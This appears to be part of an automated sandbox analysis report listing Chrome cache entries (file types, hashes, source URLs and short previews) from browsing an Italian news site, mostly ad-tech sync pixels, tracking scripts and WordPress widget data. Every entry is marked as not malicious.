Preview:	!function(e){var t={};function i(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,i),o.l=!0,o.exports}i.m=e,i.c=t,i.d=function(e,t,n){i.o(e,t)\|\|Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:n})},i.r=function(e){Object.defineProperty(e,"__esModule",{value:!0})},i.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(t,"a",t),t},i.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},i.p="",i(i.s=27)}([function(e,t,i){"use strict";i.d(t,"a",function(){return n});Object.setPrototypeOf\|\|Array;Object.assign;function n(e,t,i,n){return new(i\|\|(i=Promise))(function(o,s){function r(e){try{c(n.next(e))}catch(e){s(e)}}function a(e){try{c(n.throw(e))}catch(e){s(e)}}function c(e){e.done?o(e.value):new i(function(t){t(e.value)}).then(r,a)}c((n=n.apply(e,t\|\|[])).next())})}},function(e,t,i){"use strict";i.d(t,"a",function(){return n});class n{static shouldLog(){try{if("undefined"

Chrome Cache Entry: 562

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65532), with no line terminators
Category:	downloaded
Size (bytes):	291152
Entropy (8bit):	5.321627374765049
Encrypted:	false
SSDEEP:	6144:+np9EjLX3LWhDEALJ7L6TNLsU1Uhw0L4yRwIrTXI:YpDEALJ7LJVI
MD5:	E3BE409AC3C100E2A5D3F264EC260551
SHA1:	37C12FB96A63CCCD44462B6A4E3985D3D25EB270
SHA-256:	EBE0F94CA53BC5F7D865F89AEC5B0315BCA03ACE6942D6C1C76D94D5B59D419A
SHA-512:	C4C631DE2E390C3E7F6FF25ACBE83920BCBB3CB38AECB6C30973EBC38B2CCE37DFC425C60D503E9A0B06B6D4F40CA1EE52B4F2DBED927857C1994FD6A0A89E31
Malicious:	false
Reputation:	low
URL:	https://cdn.onesignal.com/sdks/OneSignalPageSDKES6.js?v=151605
Preview:	!function(e){var t={};function i(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,i),o.l=!0,o.exports}i.m=e,i.c=t,i.d=function(e,t,n){i.o(e,t)\|\|Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:n})},i.r=function(e){Object.defineProperty(e,"__esModule",{value:!0})},i.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(t,"a",t),t},i.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},i.p="",i(i.s=27)}([function(e,t,i){"use strict";i.d(t,"a",function(){return n});Object.setPrototypeOf\|\|Array;Object.assign;function n(e,t,i,n){return new(i\|\|(i=Promise))(function(o,s){function r(e){try{c(n.next(e))}catch(e){s(e)}}function a(e){try{c(n.throw(e))}catch(e){s(e)}}function c(e){e.done?o(e.value):new i(function(t){t(e.value)}).then(r,a)}c((n=n.apply(e,t\|\|[])).next())})}},function(e,t,i){"use strict";i.d(t,"a",function(){return n});class n{static shouldLog(){try{if("undefined"

Chrome Cache Entry: 563

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4317
Entropy (8bit):	5.0008243204696985
Encrypted:	false
SSDEEP:	96:BKIPvT7TbbT8DFQMgsVZqkPDekIyQNVmyMX4DBFyQrQgVIg/2TeR0AbuYu7OY:pTMgsVZPD0FNVmYBFyQ8gVIg/2K0Abuf
MD5:	4CF18196F664F87627FEA9BD2CDC5318
SHA1:	0478D4877D91338742A2FF63EE660BFAE16755F3
SHA-256:	861AB2DFF3A21AD532112CED7E6029810A04EF99B28F13195DF945F257C11BD7
SHA-512:	8B4B36167D2506EF73C5F3B1879ACF4FCA0373BF24D797BFD1A426C5A99D19192137A53A7DE62EEC3157766313F3D4B2D36970D62DAEF1BB8E860DAA8E2911FD
Malicious:	false
Reputation:	low
URL:	https://widgets.wp.com/languages/it-v1.1.json?ver=20240327
Preview:	{"":{"plural_forms":"nplurals=2; plural=n != 1;","language":"it","localeSlug":"it"},"Be the first to like this.":["Di' per primo che ti piace."],"You like this.":["Ti piace."],"One blogger likes this.":["Piace a un blogger."],"You and %s other bloggers like this.":["Piace a te e ad altri %s blogger."],"You and one other blogger like this.":["Piace a te e a un altro blogger."],"%s bloggers like this.":["Piace a %s blogger."],"You and <a href=\"%1$s\" id=\"%2$s\">%3$s other bloggers<\/a> like this.":["Questo piace a te e altri <a href=\"%1$s\" id=\"%2$s\">%3$s blogger<\/a>."],"<a href=\"%1$s\" id=\"%2$s\">%3$s bloggers<\/a> like this.":["Questo piace a <a href=\"%1$s\" id=\"%2$s\">%3$s blogger<\/a>."],"<a href=\"%1$s\" id=\"%2$s\">%3$s likes<\/a>":["<a href=\"%1$s\" id=\"%2$s\">%3$s Mi piace<\/a>"],"<a href=\"%1$s\" id=\"%2$s\">%3$s like<\/a>":["<a href=\"%1$s\" id=\"%2$s\">%3$s Mi piace<\/a>"],"My Grav.":["Il mio Grav."],"1 like":["1 Mi piace"],"%d likes":["%d Mi piace"],"%s's avatar":[

Chrome Cache Entry: 564

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	2373
Entropy (8bit):	4.900809936623947
Encrypted:	false
SSDEEP:	48:qJ2wCDhll5xuPgTXCeybFuryI7hAu3obFuA8igBQWbz:U2ZlCUybFuuI9j3obFuBi/Wbz
MD5:	EB533ED5EC84A8AB68573BF7C54E1B62
SHA1:	03450E8993D84622A889301FFD743C3407890DF0
SHA-256:	EFCEB544C0322F6743421C7C6000E305B1493DE3F322CE4B2A6CFFA7901EACF4
SHA-512:	FA2252A16A4BC060ACB8A7A0D13ECE773FBA114FE27E29723ED2D842B8528439CA28C836E3CE75EE5F30D3C05589BF2AB7F5BE5A9D85D990A749B9D96C46D00D
Malicious:	false
Reputation:	low
URL:	https://onetag-sys.com/usync/?pubId=5927d926323dc2c
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">. <title>Sync Pixels</title>.</head>.<body>..<script>.. var syncPixels = "https://pixel.rubiconproject.com/tap.php?v=223352&nid=4584&put=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI https://sync.e-planning.net/um?uid=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI&dc=69e9794bfc7bf740&iss=1";. var syncIframes = "";.. var GDPR_APPLIES = "gdpr=";. var GDPR = "gdpr_consent=";. var US_PRIVACY = "us_privacy=";... var params = location.search.substring(1);. var consentString = "";. var usPrivacy = "";. var gdprAppliesValue = "1";.. try {.. var index = params.indexOf(GDPR);. if (index >= 0) {. consentString = params.substring(index + GDPR.length).split("&")[0];. }.. index = params.indexOf(GDPR_APPLIES);. if (index >= 0) {. var tmp = params.substring(index + GDPR_APPLIES.length).split("&")[0];. gdprAppliesValue = (tmp == null \|\| tmp ==

Chrome Cache Entry: 565

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	173
Entropy (8bit):	4.867949125578415
Encrypted:	false
SSDEEP:	3:YGKWAdQfhdifH2IeApH1JYMQ5UNPqB4YlLbNAHHJMOA+mlEhHfNuAHNrNn:YGKHWH8WQ1/PQllAH0qhHVbHNRn
MD5:	F05D473A477A940F8F6E2A16CE5C2D8A
SHA1:	856350CF4DEE3A26F7412DEECD5467288FD416EB
SHA-256:	AC3D0E9519D49A3C4811FEF5BD236CD8A1DE451D1B30AD3AEFE72DA92F125B00
SHA-512:	9A0D9BAD4B5D9A98187E7EBD56AD1C9485DF6C449012F751AADCC1600817426640BAFA76E442FF9E0ACF39F618B758DF817F9A34051294A868927F718BBE73FC
Malicious:	false
Reputation:	low
URL:	https://public-api.wordpress.com/rest/v1/sites/123231640/posts/95325/likes?http_envelope=1&chronological=true
Preview:	{"code":200,"headers":[{"name":"Content-Type","value":"application\/json"}],"body":{"found":0,"i_like":false,"can_like":true,"site_ID":123231640,"post_ID":95325,"likes":[]}}

Chrome Cache Entry: 566

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	3.840223928941852
Encrypted:	false
SSDEEP:	3:YGKeMfQ2pHXAC/Hfr:YGKed2pHXr
MD5:	5D1644C7C04B30C3389E8DFFAB135B8B
SHA1:	F7E916F79C8DDAAC1F2D83471C19365968E4D3BA
SHA-256:	3D1C68B77EC2A70366EC61553184400653154CAD446D5662B959E32786657533
SHA-512:	55AF0AEFB158A2542A1CD75AAA5E2302F590B0422278DC09F238DC0700379861E6E0DFA568644198A403CF5E27F77C4A04E44F378BE25E5040398A4A0300D2B1
Malicious:	false
Reputation:	low
Preview:	{"country":"US","region":"DC"}

Chrome Cache Entry: 567

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.2226627197680635
Encrypted:	false
SSDEEP:	3:CUzRtwv+L1pse:1/se
MD5:	F837AA60B6FE83458F790DB60D529FC9
SHA1:	14AF87CCEC7F81BB28D53C84DA2FD5A9D5925CDA
SHA-256:	DCECAB1355B5C2B9ECEF281322BF265AC5840B4688748586E9632B473A5FE56B
SHA-512:	A85E09C3B5DBB560F4E03BA880047DBC8B4999A64C1F54FBFBCA17EE0BCBED3BC6708D699190B56668E464A59358D6B534C3963A1329BA01DB21075EF5BEDACE
Malicious:	false
Reputation:	low
URL:	https://sync.targeting.unrulymedia.com/csync/RX-b6a81ab2-e806-441c-954b-0b87961b9ddd-005
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 568

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	12
Entropy (8bit):	3.418295834054489
Encrypted:	false
SSDEEP:	3:5TdFY:q
MD5:	F8BD0E6CF9E2492CACB7DE8FAA3B20C4
SHA1:	669BAA55F631A7BA50F57EA240573A7701EC4FC0
SHA-256:	B310519D44FA013665530FD9CF01D70DF48AFD54123282C9DDE9DAACEA7A7F80
SHA-512:	20B161FF8348E464934E65A532BA1A3124D6B38234D5C157400106EA87AA085E0F8F9F661288FDEBEE3BDE5E9A73D57D81860240123C45F94B57A056BE7BE819
Malicious:	false
Reputation:	low
Preview:	eyJlIjoxfQ==

Chrome Cache Entry: 569

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	9018
Entropy (8bit):	7.97755940722985
Encrypted:	false
SSDEEP:	192:UabZFHXRNU2mivD7rzt+1FLmEELup/gSLu5bx6VWFS5b99c:HvHXRK2RV+fLT/p/gOu5wZPG
MD5:	200CAAF90F10BE876E83D9CA03BB60C5
SHA1:	1C014EC16461F7F0A861A3F90BA675ECBE779DDE
SHA-256:	61D49C4E0DB9F468D240C4E2116F61CFE03FACB3266205E716874921CC074577
SHA-512:	1EA624F4A93C85DBA29B447EE540DAACD8AF41E83CC9EB0907E7A391BCC0933411512FDD7CECFC767D52A50402788F8F0BEF9059964136F800A2FD09AA43A883
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/20240327_1785.jpg?resize=324%2C160&ssl=1
Preview:	RIFF2#..WEBPVP8 &#.......D...>m0.G.".#.2l....c....../.;....?'.....}..7.K..w.y....f.....w.'.o.g..U^......#...?.O.<.oO._.....?..w..P.{..G..r....3?..'...w.................._..-?d....U....k\|..V.....`y>.J........-...t..S.S...V-O.......1...D1[eL.6.J{..2.jO.E.Y..}C...c........(...4...k.\|.l.`.Xm.\|...!....2p...p....w.....L..zt.....q.P%...\|......q.9....Y.T.q<..q'x.......G_..~..P6.#.+.....GK.....Q/V.2.$..n]..2.~#kzt...........M.J...L..4 .....B.,.J2A.t......v.l.V... ...-.b..]..g)......B.......s.....8.....Lr./.k......'.. u.mow..g..D..n{.F...E.B16....+.K..6..C..[...L..$.)...~..<..t@s.. .y.uS2%..c..q....2.G^-..G..nq8...0.e.Cz....R.X...rsI.Uj....-.#.H.;...j.....\T...q.......u.[.!.J....CP...\.[.....u...]...8fu....O!Q{K3..Y..V...B.....zJ.:K.1<Lf.......Y.r.[4S.YM.Co....M.q..\.....>.q.\|......l.a.h.50b...b....8..9 .<.d....1...&...c....@..e..&.5.1.x.N..G.....O....Jr ...#...}.wd..L./....1{.`..E..VU...R.23....,c.....Z..n.*...:.k..A?\|J._.T.\|.1.%...AUD.jU

Chrome Cache Entry: 570

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	4360
Entropy (8bit):	5.48247088332002
Encrypted:	false
SSDEEP:	96:4QUEldLYvDQxN3iexIJGYetpRQgnDEvUi1nxQ+SdaAQcQnzQ+YVQ3Q/tI3fyQUNx:4eldIDWNSeuJGYUpR9nIv/1nxpwfYzF4
MD5:	39AF08F89C3173B2F7554CD8DFB23875
SHA1:	6F2D0046DF457EC5E80A9DE757F969C6BA38C9BE
SHA-256:	8ED537410C2F91DA4F975C66A84096E9C4A3D2C4E0BCF4B230A0C6675D5AF96A
SHA-512:	68383E698AD7636081AC3F105A914D3C0804210AE703C4206EB53C76FB5C34ACD3456C913F1390540CE656D1C1B878263B84DD74740D7FB7C5F7244F49682E07
Malicious:	false
Reputation:	low
URL:	https://ads.us.e-planning.net/uspd/1/29f836b1c2dd7f7b?ct=1&ruidm=1&du=%2F%2Fsync.adkernel.com%2Fuser-sync%3Fzone%3D181225%26dsp%3D629319%26t%3Diframe%26uid%3D%24UID
Preview:	<html><head></head><body>.<img src='https://pixel-sync.sitescout.com/dmp/pixelSync?nid=49&redir=https%3A%2F%2Fu-iad04.e-planning.net%2Fum%3Fuid%3D%7BuserId%7D%26dc%3D0abbcb4eba840e59%26fi%3Db908337b94350305'>.<iframe src='https://secure-assets.rubiconproject.com/utils/xapi/multi-sync.html?&p=eplanning_east&endpoint=us-east'></iframe>.<iframe src='https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156631&s=&predirect=https%3A%2F%2Fu-iad04.e-planning.net%2Fum%3Fdc%3Da208d9366469aa64%26fi%3Db908337b94350305%26uid%3D'></iframe>.<img src='https://bh.contextweb.com/bh/rtset?pid=562965&ev=1&us_privacy=${us_privacy}&rurl=https%3A%2F%2Fu-iad04.e-planning.net%2Fum%3Fuid%3D%%VGUID%%%26dc%3D66b7ef4184d94c10%26fi%3Db908337b94350305'>.<img src='https://sync.admanmedia.com/pbs.gif?redir=https%3A%2F%2Fu-iad04.e-planning.net%2Fum%3Fdc%3D9937b3fd6e9a979a%26fi%3Db908337b94350305%26uid%3D%5BUID%5D'>.<iframe src='https://ssum.casalemedia.com/usermatch?s=190243&cb=https%3A%2F%2Fu-iad04.e-planning.net%2Fu

Chrome Cache Entry: 571

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
URL:	https://pr-bh.ybp.yahoo.com/sync/pubmatic/01F5328A-C4D9-44AD-8468-60A885247C68?gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 572

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 573

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (625), with no line terminators
Category:	downloaded
Size (bytes):	625
Entropy (8bit):	5.440928150736179
Encrypted:	false
SSDEEP:	12:C3HE4RBHcX3pMG0R1jMBSBHcX3hyIwCcqHc813ZFQHc4PkDp:C04RB+aRiSB+N3p1JyNKp
MD5:	3251D6BA99FE256C9FE8319CAA01E4CD
SHA1:	60D92D36980CF298EA5B8F83B39F8B88BECB8DB7
SHA-256:	0613E6FFBC85A49CE69C5B1FBAB9159FF68BA1D7D2C5EC3BD690FE056B2F97B6
SHA-512:	65BECCB0364B104686B9ED261922B21620CDC693FE4A1B917B2E78C6DE09F4C798B2919122301E9DD58ABB547FD57788E81944ADE86A51C49795CD3040386AD3
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=70084600&p=156011&s=165626&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=
Preview:	PubMatic.loadAsyncImagePixel('https://a.audrte.com/match?gdpr=0&gdpr_consent=&p=M1717054901&uid=01F5328A-C4D9-44AD-8468-60A885247C68');PubMatic.loadAsyncImagePixel('https://aa.agkn.com/adscores/g.pixel?sid=9212308278&puid=01F5328A-C4D9-44AD-8468-60A885247C68');PubMatic.loadAsyncImagePixel('https://uipglob.semasio.net/pubmatic/1/info?sType=sync&sExtCookieId=01F5328A-C4D9-44AD-8468-60A885247C68&sInitiator=external&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.onaudience.com/?partner=214&mapped=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.PugMasterCallback(false, false, true);

Chrome Cache Entry: 574

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=pbs-adaptmx
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 575

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	2638
Entropy (8bit):	5.073644226263081
Encrypted:	false
SSDEEP:	48:/98CeF5wGwXmuOCfrSRU0ZYQLhEr+i5fnRbXNrOlZc2ZdBS1CV+pmNCV+pBgT:18lyGwXfOrHanRQ3c2ZdBS1C8J8UT
MD5:	47A68D1093836C628652C81A27070C2C
SHA1:	1611A531BEC513015A181F33E8F18BEEB2A6E8EB
SHA-256:	A6B2B021F56B0DA3ECBF5748AD05E0D37651F61A9F904D0765C1A5BC51E29BC2
SHA-512:	91FB2069714A65E2CCB7700046B2C69C3649C366D09CB778989D62D6B7D22AE802825917F58627CD3FE10CB53F28EA30F1DF9A1BC6599637BC01900EE48EE487
Malicious:	false
Reputation:	low
URL:	https://pixel.mathtag.com/sync/iframe?mt_uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&no_iframe=1&exsync=https%3A%2F%2Ftrz.neodatagroup.com%2Fcm%3Fsid%3D1011%26pv%3DMEDIAMATH%26eid%3D%5BMM_UUID%5D%26rt%3Dimg%26rnd%3D436232701635&mt_exid=10082&source=mathtag
Preview:	<html><body>.<script type="text/javascript">.try {. if (typeof window.MtBts === 'undefined') {. window.MtBts = function() {..metric = function(url, wait)..{.. setTimeout(function() {. var e = new Image();. e.src = url;. }, wait);..}..var intervals = [0, 10];..var inlen = intervals.length;..for (var k = 0; k < inlen; ++k). this.metric("https://pixel.mathtag.com/comp/img?mt_id=99&ns=xx&bcdv="+k, intervals[k] * 1000);. };. window.MtBts().}./**/.(function() {. // sync_exchanges. try {..var sync_4815162342 = function() {.this.urls = [.[0, "https://pixel.mathtag.com/misc/img?mop_seq=0:1&mt_cb=363302&mop_top="],.[10000, "https://trz.neodatagroup.com/cm?sid=1011&pv=MEDIAMATH&eid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&rt=img&rnd=436232701635"],.[0, "https://pixel.mathtag.com/misc/img?mop_seq=1:1&mt_cb=968907&check=e37d6605-2f8b-4a00-8c65-7b6f95886a26&mop_top="].].this.progress = 0;.. var self = this;.. var tims

Chrome Cache Entry: 576

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 577

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1086)
Category:	dropped
Size (bytes):	1125
Entropy (8bit):	5.391398413309337
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hT52FbzXh6vEFM+sBntvwCCZV9UkCG3TuRXKr5c:c2Yz8TqYviMnhYJCG3TuRXEc
MD5:	1912228CF2FBE851793ABBA099C644CB
SHA1:	7899F5FECA5205607126F2C0C5F6B31A1DFF8080
SHA-256:	9A298991CF9F4B0D0900915C9F29C7B96879DF1D103E0251484EC8E541E06394
SHA-512:	E4809FF139C5864F656D77CED5D1A72C03E39F8FF30D294953D0C1974D338F99AEDE74BFDC30968A3C3789D5A982DD9B37DED075488D4AB0D602F8A8016A73F5
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=logicad%2Cgoogle%2Cdemandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://dsp.adfarm1.adition.com/cookie/?ssp=14&gdpr=0&gdpr_consent=&rid=30f2e100c3804685b89bc432e7fc41c

Chrome Cache Entry: 578

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (520)
Category:	downloaded
Size (bytes):	539
Entropy (8bit):	5.323017891637434
Encrypted:	false
SSDEEP:	12:U7Dlf8IBbRT7GiVVLX3bvbUdTA5Y2PqHc4u6UWm+xT7UfCYKO+kFl+4n:WDlf8viDX3bT5qqTWmAoKO+kFlv
MD5:	3F5F8D912167F6B2FDB2613176CE768B
SHA1:	6085826D31093BE8F136FA0451B15CEFFE090231
SHA-256:	C52BF6775261AC4A6D2E8E04DB81E7DB91F979969CBD0C3E1D2E6FFA90BC360F
SHA-512:	2FD07FE30E0A0CBE50CDA970418B3E23618330056F2C51ECF5C018B93FDBF93E41432A5B958929B50E48967A9B805D84ECD4A5E05932692A45B960942F070538
Malicious:	false
Reputation:	low
URL:	https://aax.amazon-adsystem.com/e/dtb/bid?src=3627&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&pid=fMAH01Ecx6l5G&cb=5&ws=1280x907&v=24.305.1002&t=2000&slots=%5B%7B%22sd%22%3A%22div-gpt-ad-BSNEWS-DSK-Spalla-dx-300X600-ATF%22%2C%22s%22%3A%5B%22300x600%22%5D%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%5D%7D%7D%7D&sm=8808e21e-6ea5-4543-8180-31905f081884&gdprl=%7B%22status%22%3A%22no-cmp%22%7D&vm=%7B%22ids%22%3A%7B%22pubcommon%22%3A%224c5bf266-24df-402d-bdb8-4178f61acf26%22%2C%22id5%22%3A%22ID5*t-hyak_q_UQvB6ez3TT_17w3X0Ef8s4Kslmg1-Kc-tuQD_uGA_mUXTf7YNdVZuNN%22%7D%7D
Preview:	/* aax response */.apstag.bids({"slots":[{"targeting":["amzniid","amznp","amznsz","amznbid","amznactt"],"amzniid":"JGapUzYM-SRrUSVnpipTqiYAAAGOhEKa2AEAAA4rAQBhcHNfdHhuX2JpZDEgICBhcHNfdHhuX2ltcDEgICDU01mv","size":"300x600","meta":["slotID","mediaType","size"],"amznactt":"OPEN","amznsz":"300x600","slotID":"div-gpt-ad-BSNEWS-DSK-Spalla-dx-300X600-ATF","amznp":"enkohs","mediaType":"d","amznbid":"1ff2vpc"}],"host":"https://aax-us-east.amazon-adsystem.com","cfe":true,"ev":true,"cfn":"bao-csm/direct/csm_othersv5.js","status":"ok","cb":"5"})

Chrome Cache Entry: 579

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (62074)
Category:	dropped
Size (bytes):	62075
Entropy (8bit):	5.250890569840352
Encrypted:	false
SSDEEP:	768:UGV6FZiCM8G6PEIhW6arKefemVajOJW8P2HtJLDJa+VVMZYyNfxH1lJY42h2ohgH:tNGMaj/3HOyt/sNKWp/
MD5:	67F53A368F4D2FF48D953962B5FD8816
SHA1:	810AC4DEB2C9EB44598E87C7FFFFD5031A45718A
SHA-256:	4F12D5821069E01DDB267403CC224637537BC2672266AB3A51A43AFE361BE943
SHA-512:	9BFE3DECA85B66D91FEB9A23BC61EBA6C9A634C2301C8EA26DE0014DA95A5DF94378A6833339A703F94F1BDC52F3000140B73669260B5873952B7A7ADEDE1F08
Malicious:	false
Reputation:	low
